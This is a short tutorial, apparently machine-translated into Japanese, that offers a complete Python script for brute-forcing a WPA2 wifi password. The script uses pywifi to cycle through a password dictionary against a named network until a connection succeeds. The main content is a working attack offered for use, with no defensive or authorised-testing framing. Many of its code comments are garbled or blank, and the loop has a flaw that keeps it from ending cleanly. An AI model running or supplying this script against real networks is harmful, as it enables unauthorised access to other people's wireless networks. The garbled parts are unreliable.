Python暴力解読wifi


Pythonはpywifiモジュールを使ってwifiを暴力的に解読して自動上陸の効果を実現し、今回はプロセス向けの方式で作成され、簡単で分かりやすい.
考え方:
  • まず、無限NIC
  • があるかどうかを確認します.
  • ワイヤレスカードがwifi
  • に接続されているかどうか
  • wifiに接続する場合は、1枚のNICが同じ時間に1つのwifi
  • しか接続できないため、接続を解除する必要があります.
  • 付近のwifi検索接続のターゲット
  • を決定
  • 辞書を使用して
  • への自動接続を開始
    コード実列:まずpywifiモジュールをインストールし、このモジュールはwifiの情報を処理するために専用です.
    pip install pywifi #     
    
    import pywifi #    
    from pywifi import const  # const  wifi       ,        4      0 
    import time
    
    def crack(password):
        """  wifi"""
        wifi = pywifi.PyWiFi()  #        
        #         
        iface= wifi.interfaces()[0]
        #        
        iface.disconnect()
        time.sleep(2)
        
        #       wifi    (       wifi               )
        iface.remove_all_network_profiles()
        
        #      wifi     ,     ,wifi    ,  ,         
        #const.IFACE_DISCONNECTED      4,4      
        if iface.status() == const.IFACE_DISCONNECTED: 
            profile = pywifi.Profile()
            profile.ssid = "Honor9"    #ssid wifi   
            #  wifi      (    wifi       )
            profile.auth = const.AUTH_ALG_OPEN
            #  wifi     
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            #  wifi  
            profile.key = password #password       read_password()  
    
            #      wifi    
            new_profile = iface.add_network_profile(profile)
    
            #    wifi
            iface.connect(new_profile)
    
            time.sleep(4)
            if iface.status() == const.IFACE_CONNECTED:
                return True
            else:
                return False
        else:
            print("   ")
    
    def read_password():
        """    """
        print("    ")
        path = r"D:\  python\Date\Pywifi\1.txt" #     
        with open(path,"r") as f:  #      
            while True:
                try:
                    password = f.readline()  #        
                    bool = crack(password)
                    if bool:
                        print("     "+password) #          
                        break
                    else:
                        print("    "+password)
                except:
                    continue  
    
    read_password()
    
    

    上記のコードは単一スレッドを採用しているため、効率はあまり高くなく、後期にマルチスレッドを加えて効率面の問題を解決することができる.